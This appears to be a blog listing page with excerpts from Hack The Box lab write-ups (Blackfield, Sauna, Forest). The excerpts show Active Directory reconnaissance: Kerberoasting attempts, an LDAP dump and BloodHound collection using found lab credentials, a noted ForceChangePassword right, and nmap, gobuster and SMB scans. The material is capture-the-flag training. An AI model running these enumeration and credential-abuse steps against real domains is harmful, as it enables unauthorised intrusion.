└─$ impacket-GetUserSPNs blackfield.local/'support':'#00^BlackKnight' -dc-ip dc01.blackfield.local -request                          
Impacket v0.11.0 - Copyright 2023 Fortra

No entries found!
  • ldapsearch to retrieve samaccountname of domain controller
└─$ ldapsearch -H ldap://10.10.10.192 -x -b "DC=blackfield,DC=local" -D 'support@blackfield.local' -w '#00^BlackKnight'
# extended LDIF
#
# LDAPv3
# base <DC=blackfield,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# BLACKFIELD.local
dn: DC=BLACKFIELD,DC=local
objectClass: top
objectClass: domain
objectClass: domainDNS
...
dn: CN=DC01,OU=Domain Controllers,DC=BLACKFIELD,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
objectClass: computer
cn: DC01
distinguishedName: CN=DC01,OU=Domain Controllers,DC=BLACKFIELD,DC=local
instanceType: 4
whenCreated: 20200223111400.0Z
whenChanged: 20230918021908.0Z
uSNCreated: 12293
uSNChanged: 233542
name: DC01
objectGUID:: yKWttevtGU+AkuFOUWYvng==
userAccountControl: 532480
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 132269516749519355
lastLogoff: 0
lastLogon: 133395347215321691
localPolicyFlags: 0
pwdLastSet: 133394771382736467
primaryGroupID: 516
objectSid:: AQUAAAAAAAUVAAAA3sEE+lnfq4Ei72nU6AMAAA==
accountExpires: 9223372036854775807
logonCount: 134
sAMAccountName: DC01$
sAMAccountType: 805306369
operatingSystem: Windows Server 2019 Standard
operatingSystemVersion: 10.0 (17763)
serverReferenceBL: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=C
 onfiguration,DC=BLACKFIELD,DC=local
dNSHostName: DC01.BLACKFIELD.local
...
  • Let’s launch bloodhound
└─$ bloodhound-python -c all -u support -p '#00^BlackKnight' -d blackfield.local -dc dc01.blackfield.local -ns 10.10.10.192 --zip
INFO: Found AD domain: blackfield.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 18 computers
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 316 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
  • support has ForceChangePassword rights over audit2020

Sunday, September 17, 2023 | 27 minutes Read
Hero Image
[HTB] Machine: Sauna

Sauna

Enumeration

  • nmap
└─$ nmap -Pn -sC -sV 10.10.10.175 -T4
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-28 17:36 BST
Nmap scan report for 10.10.10.175 (10.10.10.175)
Host is up (0.11s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-06-28 23:35:53Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m29s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-06-28T23:36:05
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.94 seconds
  • gobuster
└─$ gobuster dir -u http://10.10.10.175 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x asp,aspx  
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.175
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              aspx,asp
[+] Timeout:                 10s
===============================================================
2023/06/28 18:47:01 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 150] [--> http://10.10.10.175/images/]
/Images               (Status: 301) [Size: 150] [--> http://10.10.10.175/Images/]
/css                  (Status: 301) [Size: 147] [--> http://10.10.10.175/css/]
/fonts                (Status: 301) [Size: 149] [--> http://10.10.10.175/fonts/]
/IMAGES               (Status: 301) [Size: 150] [--> http://10.10.10.175/IMAGES/]
/Fonts                (Status: 301) [Size: 149] [--> http://10.10.10.175/Fonts/]
/CSS                  (Status: 301) [Size: 147] [--> http://10.10.10.175/CSS/]
  • smbclient found nothing
└─$ smbclient -N -L //10.10.10.175
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.175 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • Web server

Monday, June 26, 2023 | 5 minutes Read
Hero Image
[HTB] Machine: Forest

Forest

Enumeration

  • nmap
└─$ nmap -sC -sV -Pn 10.10.10.161 -T4
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-26 16:32 BST
Nmap scan report for 10.10.10.161 (10.10.10.161)
Host is up (0.15s latency).
Not shown: 989 closed tcp ports (conn-refused)
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2023-06-26 15:39:16Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h26m18s, deviation: 4h02m30s, median: 6m17s
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-06-26T15:39:27
|_  start_date: 2023-06-26T14:24:16
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: 
FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2023-06-26T08:39:24-07:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.94 seconds
  • Dns
    • No results with zone transfer

Saturday, June 24, 2023 | 3 minutes Read